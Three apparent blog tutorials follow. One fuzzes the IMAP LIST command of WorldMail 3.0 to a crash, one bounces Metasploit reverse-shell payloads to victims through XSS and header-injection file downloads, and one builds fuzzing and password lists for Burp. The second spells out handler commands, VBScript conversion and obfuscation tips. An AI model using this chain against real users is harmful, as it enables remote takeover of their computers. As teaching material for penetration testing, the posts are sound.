Over The Flow (Part 1)


This tutorial is created to show how simple penetration can become and promote constructive hacking/pen-testing (putting things together and combining knowledge to hack). Hacking/Pen-testing without the need to know how to program (at least not good programming skills :) ). I also got bored (one that is wearingly dull, repetitive, or tedious) not being able to find a decent buffer overflow tutorial to start learning what a want. Any way this article is going to show you how to identify buffer overflow the easiest way, after all you know (if you read my post that fuzzing is what I love doing). Fuzzing can help you to generically approach a wide variety of technologies, from Web Applications to C compiled programs.

In order to be able to follow through this tutorial you have to understand basic assembly, Python (again I will write basic Python scripts) and a few stuff about buffer overflows.

Why IMAP (Internet Message Access Protocol)?

Text based protocols are the simplest to fuzz (yea lets become fUzZy) because all information is in the internet, meaning all the interaction commands, how to log-in, how get e-mail and all that stuff. You can basically use even a telnet command prompt to interact with an Internet Message Access Protocol server.

So for our purposes I am going to use a software that has a vulnerable IMAP4 demon and has a published vulnerability, the Eudora Qualcomm WorldMail 3.0. The exploit for that software can be found at Exploit-DB very neat and clean exploit not to much trouble to exploit.

So here we go, first we will research how can we interact with the mail server, what are the text based commands to use from lets say a telnet session. The exploit says that this is a pr-authentication exploit which means that we do not have to log-in to exploit the vulnerability no need to create account or whatever.

But how do we inTeRaCt? Well lets see, if you type to the Google interact with IMAP you get this info:

Note: Hmm accessing IMAP with telnet,cool.

More about IMAP

IMAP is an email protocol for organizing, storing and retrieving emails on a remote server. It was developed after POP and is a much more advanced system, one of the main differences being that all the mail is stored on the server so it remains accessible from many different locations. With POP you have to download the mail to your local computer in order to read it and therefore you cannot synchronize your mail across many different machines.It may be more complex than POP but there are still only a few core commands we need to know in order to access our mail on an IMAP server. 

The IMAP command syntax

Before the actual command is typed into the terminal we need to type a command tag, this could be anything (without spaces) and the server will tag its response with the tag we give it. This seems to be because IMAP allows multiple connections and so multiple commands, by tagging you know which response refers to which command.In our case we use only 1 connection and we send single commands so it's not really relevant (ououo I feel like I am in the matrix, understand IMAP4!! :PPP ), however we need to type something as a tag. I usually you can use a period'.' but you could use a number or whatever suits you.

Setting up our environment

First we install Eudora Qualcomm WorldMail 3.0 (I am not going to show you the installation process :P), you can download WordMail 3.0 from here. Then we check out the status of the server in the control panel services:

Note: We go to Control panel --> Services as you can see Eudora IMAP4 Server is running.

The next thing to do will be to verify that we can interact through a telnet session, first we verify that it is listening in port 143 (if you Google it, the port is splashed into your screen).

The second best thing to do is to initiate a telnet connection with the IMAP4 server through telnet session:

Note: So our environment shows that it is working fine. We installed and run correctly our IMAP4 Server. Then we started interacting the right way through telnet session now I will issue a few commands to see how and why we can exploit the server. Lets try to login with a user that does not exist:

 Note: The server interact normally to the failed lo-gin. What do we do know. We need to read more about commands.

More about IMAP4 commands

Once an IMAP session is established, all communication between the client and server takes place in the form of commands sent by the client and responses returned by the server. Like is mentioned earlier, commands and responses are sent as strings of ASCII text and terminated with a CRLF sequence, making them compatible with the way data is sent using the Telnet Protocol.

The first interesting thing about IMAP4 commands is that most are not abbreviated into codes of three or four letters they are spelled out in full. Commands are normally shown in upper case, but are in fact case-insensitive.

IMAP also uses a command tagging to explicitly match client commands with certain server responses. Each time a client sends a command, it prefixes it with a tag that is unique for the particular session. The tags are usually short strings with a monotonically increasing number in them; the examples in the IMAP4 standards have the first command tagged a0001, then the second a0002 and so on. When the server needs to send a response that is specific to a command, it tags the reply with the appropriate command tag.

Note: The tag does not seem to play a significant role for the IMAP4 interaction so I will use the same tag for the exploit.

After a few hours of research I found all the set of the commands needed to start fuzzing the protocol:

LOGINSpecifies a user name and password to use for authentication.
AUTHENTICATETells the server that the client wants to use a particular authentication mechanism and prompts the client and server to exchange authentication information appropriate for that mechanism.
STARTTLSTells the IMAP4 server to use the Transport Layer Security (TLS) protocol for authentication, and prompts TLS negotiation to begin.
SELECTSelects a particular mailbox so that messages within it can be accessed. If the command is successful, the session transitions to the Selected state. The server will also normally respond with information for the client about the selected mailbox; see below.
EXAMINEExactly the same as the SELECT command, except that the mailbox is opened “read-only”; no changes are allowed to it.
CREATECreates a mailbox with the given name.
DELETEDeletes the specified mailbox.
RENAMERenames a mailbox.
SUBSCRIBEAdds the mailbox to the server's set of “active” mailboxes. This is sometimes used when IMAP4 is employed for Usenet message access.
UNSUBSCRIBERemoves the mailbox from the “active” list.
LISTRequests a partial list of available mailbox names, based on the parameter provided.
LSUBThe same as LIST but only returns names from the “active” list.
STATUSRequests the status of the specified mailbox. The server responds providing information such as the number of messages in the box and the number of recently-arrived and unseen messages.
APPENDAdds a message to a mailbox.

Show here is the list of the unauthenticated commands IMAP4 is using to interact with the telnet client (identified from the table above, more info can be found here) and based in our previous research and some clever assumptions that I made I am using this format to sent the commands through telnet (pr-authentication commands):
  1. A login donotexist pass (attempt log-in)
  2. a001 CAPABILITY
  3. a001 LOGOUT
  4. a001 STARTTLS
Now if for some reason I would want to sent authenticated commands I would sent this commands:
  1. a001 STATUS
  2. a001 APPEND
  3. a001 LSUB
  5. a001 SUBSCRIBE
  6. a001 RENAME
  7. a001 DELETE
  8. a001 CREATE
  9. a001 EXAMINE
  10. a001 SELECT
  11. a001 LIST
Note: Remember again that in our case we use only 1 connection and we send single commands so the tag number does not have to change in order to receive a response from our vulnerable IMAP4 server (I am brilliant I know) or we could use a period, but because for some unknown reason I like the tag I am going to use the same tag through out the whole test. 

Sending the identified commands

Again I open a telnet and type the commands to see how I connect, lets start with CAPABILITY command:

 Note: As we can see the unauthenticated command executed successfully.

Now lets try an authenticated commands such as the EXAMINE and the rest to see the results:

Note: See the message BAD command "NAME OF COMMAND" unrecognized or not valid in the current state.

Now the next step to do would be to start fuzzing each command separately to identify the vulnerable commands. So we need a way to automate the process, and we are going to do that by using Python scripting. For our Python we are going to use the socket library.

First a little about fuzzing

Fuzz testing or fuzzing is a software testing technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing is commonly used to test for security problems in software or computer systems.

There are two forms of fuzzing program; mutation-based and generation-based, which can be employed as white-, grey- or black-box testing. File formats and network protocols are the most common targets of testing, but any type of program input can be fuzzed. Interesting inputs include environment variables, keyboard and mouse events, and sequences of API calls. Even items not normally considered "input" can be fuzzed, such as the contents of databases, shared memory, or the precise interleaving of threads.

Python Fuzzing our IMAP4 demon

First we need to open a socket connection then load all IMAP4 commands to send and then forward the traffic to the server. The Python interface is a straightforward transliteration of the Unix system call and library interface for sockets to Python’s object-oriented style: the socket() function returns a socket object whose methods implement the various socket system calls. Parameter types are somewhat higher-level than in the C interface: as with read() and write() operations on Python files, buffer allocation on receive operations is automatic, and buffer length is implicit on send operations.

With the Python script we will create an array of B's (I never liked A's for buffer overflows) and start stuffing the potentially vulnerable variable in order to crush the server. When the server is going to crash it is going to cause a memory fault also called memory crash meaning it will cause a Denial of Service (DoS) attack and it will stop responding, possibly generating an error in the event viewer (definitely create a memory dump), so that is what we are looking for.

What I will do with the following Python code is I will sent ASCII TEXT inputs terminated with a CRLF (the characters '\r\n') meaning this string a001 COMMAND [plus increasing B's] CRLF then close legitimately the connection and go through all commands again by increasing B's by 100 until the server crashes (e.g. first payload 1+100 B's, second payload 1+200 B's e.t.c). This means that I will generate an array (containing B characters) that each element of the array will increase by 100, then take each IMAP4 command separately and try to fuzz the command by sending sequentially the array elements, one each time. But first we will have to find out how is implemented IMAP4 in our vulnerable software. 

Investigating the way IMAP4 represent strings

From IMAP4 RFC 3501 I got this information that a string is in one of two forms: either literal or quoted string.  The literal form is the general form of string.  The quoted string form is an alternative that avoids the overhead of processing a literal at the cost of limitations of characters which may be used.

A literal is a sequence of zero or more octets (including CR and LF), prefix-quoted with an octet count in the form of an open brace ("{"), the number of octets, close brace ("}"), and CRLF. In the case of literals transmitted from server to client, the CRLF is immediately followed by the octet data.  In the case of literals transmitted from client to server, the client MUST wait to receive a command continuation request before sending the octet data (and the remainder of the command).

Note: By reading the above information I can make an assumption on how is represented the string in the program and try to crush or cause an error.

I am going to replace B's with the special character { and } to see what happens, so the final version of my Python fuzzer will have this look (click to enlarge):

Note: The { did not work so I tried the ending bracket and boom crushed the server finally, this is the output of the Python shell.

Note: The command vulnerable to the buffer overflow is LIST, which makes my initial assumptions wrong about tampering commands without authentication. In Oder to do that I reduced the bracket increment by 4 and found the exact amount of characters that overwrite our vulnerable buffer (that is not exactly true but I will explain evertything in laters posts). The LIST command crushed in 126 brackets. Xmmm we will see in a later post how to exploit that. You do also realize that it is relatively easy to code an almost generic fuzzer that is going to get as an input an array containing all keyboard characters along with an array of protocol commands and fuzz the protocol. Further investigation will so that not only the LIST command is vulnerable to buffer overflow! (try for yourself to identify which COMMANDS are vulnerable).

Character representation

A more curious person (than the average person) would want to find out in what other ways the bracket character can be represented. Well if you have a question like that your answer can be found here. But do not waste your time clicking to the link just read through. The bracket character looks like this:

ASCII character } To Octal Conversion 175
ASCII character } To Decimal Conversion 125
ASCII character } To Hex Conversion 7D
ASCII character } To Binary Conversion 0111 1101

Now what would happen if we would forward this values instead of the ASCII Text characters (any exercise for you?). The need to understand how a character is represented lets say in hexadecimal arises from the need to be able to see the debugger and understand where is what.


To be continued (it is too late I have to go to sleep)... Watch out for part 2 and 3 (over writing EIP, generating and injecting the payload).

  1. http://bobpeers.com/technical/telnet_imap
  2. http://www.eudora.com/download/worldmail/3.0/
  3. http://networking.ringofsaturn.com/Protocols/imap.php
  4. http://tools.ietf.org/html/rfc5258
  5. http://www.tcpipguide.com/free/t_IMAP4SelectedStateMessageManipulationProcessandCom.htm
  6. http://docs.python.org/library/socket.html
  7. http://tools.ietf.org/html/rfc3501
  8. http://www.csgnetwork.com/asciiset.html
  9. http://pydoc.org/2.2.3/imaplib.html
  10. http://en.wikipedia.org/wiki/Fuzz_testing 


MSF Payload Web Bouncing


This article refers basically to a very well known but also a very misunderstood Web Application vulnerability the Cross Site Scripting attack. What most of my clients do not understand is how an XSS attack can be used to compromise their Web Application Infrastructure. And it is logical since even the name of the attack is misleading, it should not be called Cross Site Scripting Attack, it should be called Script Injection attack. That is because when you manage to inject or else bounce a script to a web site then it will eventually end up to the users laptop and do damage. In this article it is implied that you already have a running Metasploit or know how to install and run Metasploit. 

Exploiting XSS or else Script Injection attacks

Stealing the session cookie is not the only way to take advantage of an XSS attack, so with an XSS attack someone under certain conditions can:
  1. Hijack the user session and cause user identity theft (which by the way is none traceable).
  2. Inject a Trojan Web Form (e.g. using Cascading Style Sheets) and steal user credentials.
  3. Redirect users to phishing sites and steal user personal data.
  4. Execute a Web Site function (e.g. cause an attack similar to a CSRF attack).
  5. Bounce to the server a malicious payload (e.g. an executable, vbs or .bat file) and compromise the users PC/Laptop.
  6. Redirect the user browser to a BEEF (Browser Exploitation Framework) link and take over the user browser.
  7. Do a File Download injection using HTTP Header Injection (I consider Header Injection to be in the same category with XSS injection)  
In this article we will analyze how an attacker can use the msfpayload utility and a Script Injection vulnerability to bounce a malicious payload to users PC. The attack is relatively easy to implement since with the msfpayload utility we can generate lots of types of payloads including of course a remote shell and many other stuff.

A conceptual representation of this type if attack can be found here:

Note: In this conceptual representation of the attack a malicious user sent an e-mail with the infected URL to the victim user and the victim user clicks on the URL.  This type of attack can also become more effective when Script Injection is stored into the vulnerable Web Application.

Generating the Metasploit payload and starting the Handler 

As already mentioned there are many tutorials in the Internet on how to generate an msfpayload so for one more time we will generate an msfpayload by typing the command ./msfpayload windows/shell/reverse_shell O we get the options of the shell. The Metasploit tcp reverse shell listens for a connection and spawns a command shell back to the attacker. In order to successfully generate the shell we have to issue the following command:

So after we successfully generate the desired payload, which by the way I named it ClickMe.exe, and verify that it is a valid executable file by issuing the file command we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:
  1.     cd /pentest/exploits/framework3
  2.     ./msfconsole 
  3.     msf > use exploit/multi/handler
  4.     msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
  5.     msf exploit(handler)> set LHOST sameIPfromBefore
  6.     msf exploit(handler)> set LPORT 123
  7.     msf exploit(handler)> exploit -j

Note:  The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Making the Metasploit payload inject-able

In order now to bounce our payload to the target Web Application we would have to mutate our payload and convert it into  an Inject-able script. Again we do that by using exe2vbs, it takes as input an executable and returns back a Visual Basic Script file, which by the way is executable from a browser. The following tool is located in /pentest/exploits/framework/tools

So we convert our executable to a VBScript in order to injected it to the target Web Application. The following command will do that:

The output of the command would be:

Further investigation can show you that after the conversion of the executable to a Visual Basic Script the payload looks something like this (when opened with vim):

Note: If you do a cat ClickMe.vbs | wc -l you will see that it is 760 lines and this as shown above translates to 73802 bytes.Further payload mutation can happen by performing VBScript Code Obfuscation using on-line tools such as Stunnix.

Further Obfuscation can also occur to the malicious URL pointing or holding our malicious payload. Internet Explorer and Netscape have both begun dealing with URLs differently, particularly in versions 6 and above. Making it easier to perform XSS like attacks to none suspicious users. For more information check out PC-HELP.

Loading the MSF Payload in Internet Explorer 8.0  

You can use the SCRIPT element to add VBScript code to an HTML page, and that is what we will do in order to have successes. We are going to use the <SCRIPT LANGUAGE="VBScript"> and the <SCRIPT>. The following image shows an example taken from Microsoft MSDN site:

The payload injection script would look like that <SCRIPT LANGUAGE="VBScript">MSF Payload</SCRIPT>. If the web application does not filter the <SCRIPT> tag properly then an attack of this type can happen and the attacker will take a remote access of victims machine. 

Now we will create a test Html page and open it with Internet Explorer 8.0:

Note: In order to for the VBscript payload to execute properly the user would have to click OK to some alert boxes warning the user for malicious content but eventually the payload will execute normally. From the address bar you can see that the payload was loaded from my hard disk. Also have a look at the icon suggesting that IE8.0 continuously executes the page content. Further investigation can be made to improve the attack. The same attack can be achieved through a phishing site that would graciously allow you to download content from it.
The following screen shot shows a netstat -an | findstr 1234 command issued and as you can see the payload was successfully launched and listening in port 1234 (see how above in the payload generation section we choose our shell to listen in port 1234):

We can verify that the shell is listening to the specified port by launching a telnet session and start interacting with the shell in (we can have the same effect using address assigned from the local dhcp server of course): 

Note: As you can see the telnet session cannot handle very well the shell output, and that is why some characters are not readable (of course netcat can also be used).

ActiveX and VBScript support in Opera

Opera does not have in-built support for Microsoft's Windows-specific ActiveX technology or the VBScript scripting language.Opera does however support the use of Netscape compatible plugins, which can provide similar functionality to most ActiveX controls. Opera also supports JavaScript, which is the most common scripting language used on the Web, and is usually preferred instead of VBscript. All of these technologies are, unlike ActiveX and VBScript, available on multiple platforms.

Running ActiveX controls (VBScript) in Opera using the Neptune plug-in

MeadCo produces a plug-in called Neptune, which hosts Microsoft's Web Browser control.What this means is that the Internet Explorer engine can be run within Opera, and this in effect makes it possible to load and run ActiveX components.

Note: This only works on Windows, and the same security precautions should be taken as when running ActiveX components in Internet Explorer. Using Neptune in Opera is essentially the same as running Internet Explorer in an Opera window.

Running VBscript in Firefox 

It is known that .vbs files aren't handled over the internet by default when using Firefox, unless it is really an .asp page and you have set your server to handle .vbs files as if they were .asp (not verified information though).

Executing VBScript through Firefox and Opera using File Download Injection

One way to bypass the limitations identified in Opera and Firefox is by exploiting another vulnerability named header injection file download. There is a very good paper that documents the vulnerability very well in this link. Header Injection has been known for a long time and occurs in all of the web application platforms, including Java, .NET, and PHP. Attackers can use file download injection to completely replace the file being downloaded (e.g. from a file repository in a Web Server), or even inject unwanted file downloads into ordinary requests. The files injected might be malware or fraudulent versions of official files.

What Is Header File Download Injection?

Some web applications allow the user to control some part of the content disposition header, typically either the entire file name or at least a part of it. These applications are susceptible to file download injection.

The picture below shows how vulnerable code to File Download Injection attack looks like that:

To perform the attack, the attacker builds an attack string. First, he chooses a file name for the injected file, including the extension for the type of file he wants the victim to execute, such as the bad.bat. Then, he adds two carriage return line feed (CRLF) sequences to signal the end of the HTTP headers and the beginning of the file data. Note that CRLF appears as %0d%0a when percent-encoded. It might also be encoded by the non-standard %u000d%u000a%u000d%u000a. Following the two CRLFs, the attacker appends the content of the malicious file, which should match the file type indicated by the chosen extension.

For example, if an application takes the "fn" parameter from the request and puts it into the Content-
Disposition header, the attacker might attempt to abuse that application with a URL that looks like this:


Where XXXX is the file name (and extension) that the attacker wants to name the malicious injected file, and YYYYYYYYY is the content of that file (the content of the file is passed in the URL). A vulnerable application will generate a response like the following:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=XXXX
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

When the web application generated the response, the injection modified its meaning. The new malicious response directs the browser to open the attacker's maliciously injected file. The original headers following Content-Disposition were pushed down to the end of the file data after the YYYYYYYYY by the CRLF characters injected. With some combinations of browsers and file types, a confirmation dialog box appears that asks the use to "run", "save", or "cancel". With other combinations, no such confirmation is required.

A Batch File Download Injection Example

Using the technique described above, the attacker can perform header injection into the “fn” parameter to take over the response. The attacker can specify the full file name and extension. Then by injecting two CRLF sequences, the attacker can send the body of the HTTP response which will be interpreted by the browser as the content of the file.

For example, if the victim clicks on the following link in an email or on a webpage:


The following is the actual HTTP response generated by a vulnerable application on the Internet:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=bad.bat
Content-length: 88
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

Note: This response tells the browser to open the file “bad.bat” containing the command “wordpad” on the first line. In each browser there are different behaviors:
  • In IE7 on Vista SP1 this displays a popup that says “run”, “save”, or “cancel.” Selecting “run” immediately executes the batch file and starts Wordpad. 
  • Firefox saves the file to disk automatically, and requires the user to click “open” to execute it. Injecting a batch file is quite dangerous, since the link starts with http://[trusted_domain]/ and will likely fool many users into thinking it is safe to click “run”.
Notice that the attack did not require the use of any special characters other than period, CR, and LF. Many validators are “blacklisted” and contain only a short list of invalid character sequences, such as .. and slashes.


Note: This example shows how a broken response without a content length header may be "fixed" by something downstream from the vulnerable application.

Mutating our payload to a .bat file with Python

What we are left to do now is convert our .vbs payload now into a .bat file and injected into the Header of a vulnerable Web Application. We will do that using again Python of course (the name of the echoed file is wrong it should be bad.vbs):

Note:  The file produced from the code displayed above will actually generate a .bat file that when downloaded it to the victim PC will recreate the original VBScript file and execute the original payload. The batch file produced will actually have this format per line echo Payload Line > bad.vbs. At the end of the .bat file we add the command cscript bad.vbs (maybe add some delay to make sure that the vbs is properly echoed).


Bouncing malicious payloads through Script Injection attacks is a very well documented attack. The only way to defeat this type of attacks is user awareness and proper input validation filters. I once more proved how malicious and toxic the Internet can be, hope it helped.

  1. http://www.semdesigns.com/products/obfuscators/VBScriptObfuscator.html
  2. http://isc.sans.edu/diary.html?storyid=4231 
  3. http://www.stunnix.com/prod/vbso/overview.shtml
  4. http://msdn.microsoft.com/en-us/library/3945y0f9%28v=vs.85%29.aspx
  5. http://www.opera.com/support/kb/view/415/ 
  6. http://firefox-vbscript-plugin.fyxm.net/
  7. https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=9
  8. http://www.ngssecure.com/research/research-overview/white-papers.aspx
  9. http://www.pc-help.org/obscure.htm 
  10. http://docs.python.org/tutorial/inputoutput.html   


The Perfect Web Pen Test


From time to time I think what would be the Perfect Web Application Penetration Test, how can you be sure that you tested the Web Application the best possible way? How can you be sure that you managed to guess and by pass all possible badly designed input filters? Well the answer was right in front of me, simply sent all possible character-set combinations!! By sending all possible character-set combinations you do two things that are not desirable 1st you increase the traffic load a lot and 2nd you increase significantly the amount of time the penetration test is going to take (some payloads are for sure not going to help you find any kind of vulnerability or bypass any type of filter and filter bypassing can probably be achived only of you do further payload obfuscation e.g. add comment characters e.t.c).

Now a few of the side effects that might arise are 1st your might cause a DoS attack (if you do a pentest it should be included in the engagement rules) and 2nd you cannot hide your source IP so easily from Network Intrusion Detection Systems/Network Intrusion Prevention Systems, Host-based Intrusion Detection Systems /Host-based Intrusion Prevention Systems, Network Firewalls and Web Application Firewall device (meaning that the devices mentioned above probably will block your traffic).

But if you do not care about being spotted or the client does not care about testing his/her web site for DoS attack (it is not so easy to cause a DoS attack but I have seen that happening) then you can simply write your own payload generator and forward all payloads to the target Web Site using Burp Intruder or WSFuzzer. The programming language of my choice of course Python.

Other payloads lists in the Internet

The funny thing is that many people use fuzzdb to get strings to use for penetration testing purposes which is not bad of you have a relatively limited amount of time to perform the penetration test. But if you want to run a thorough penetration test then generating you own payload list is better.

Generating your own payloads using Python

Generating your own payloads is relatively easy when using Python. Python has a library that helps you print all element combination of a list. The library I am referring to is the itertool  module which implements a number of iterator building blocks inspired by constructs from APL, Haskell, and SML. Each has been recast in a form suitable for Python.

So lets say for example that you want to test the target web site for error based SQL injections, but you do not want to exploit the SQL injection just to identify vulnerable variables (that when tampered a database error is returned back and splashed into your screen) then as already mentioned in other posts of this blog you need only a char-set of  a few specific characters: ' , ; , ), (, -, ". Now that we have this information the only thing that remains is to write a python program that is going to get as an input the list of the characters shown above. Now we will generate a list with all combinations, remove duplicates (if there are any duplicates) from the list and then write all combination to a text file for later use.

The following picture shows the python program it took me 5 minutes to write it:

The list when opened looks exactly like that:

Note: You should by now be capable to understand that you can easily convert this program to a password generator and then add some statistical analysis to the strings in order to appear more often (the most desired strings of course).

A simple way to improve your results, on identifying SQL injections, would be to use a Python list with more characters such as this one:

Note: If you do a wc -l in a Unix-like command shell you will see that you get 5041 different payloads!!

If you want to convert your little Python program into a password generator you can add this Python list:

Note: Again if you do a wc -l in a Unix-like command shell you will see that you get 40320 different passwords containing all combinations using the char-set of a,b,c,d,e,a,!,@.

Using the generated list with Burp Intruder

Now that we generated the list we have to feed it in a tool in order to use it later on, we run Burp then go to Intruder and load the list to burp intruder:

The we add a costume payload:

And we point our payload to the target Web Site:

Note: If you see carefully the above image you will see that I am using the sniper mode for the test (best choice when trying to identify initial SQL injection vulnerabilities)

Analyzing the data

After performing the Web Application fuzzing Burp Intruder gives the possibility to analyze the returned data and process them using the Buro Intruder flexible Grep Functionality, meaning:
  1. Grep Match 
  2. Grep Extract 
  3. Grep Payloads
The following screens shows how you can actuall analyze the retunred data from the fuzz just done:

Note: This is the Grep Match feature.

 Note: This is the Grep Extract feature.

Note: This the payload extract.

The following picture show how you save your data:

Note: By cliking to Save you get a whole new menu to analyze your data.

The following picture shows that format you can use to save the data:

Note: Very simple GUI and easily managable.


This post proved you that you do not need to use string lists such as fuzzdb to test a web application, you can very easily use your own. If you want to test for XSS or XML Injections you have obviously to change the char-set. It would be a very good idea to add some statistical analysis and filter out your list in such a way so that more interesting characters in certain positions appear at the top of the list, meaning that it would be a good idea for example to have single quote at the begging of the string and not the end. 

  1. http://docs.python.org/library/itertools.html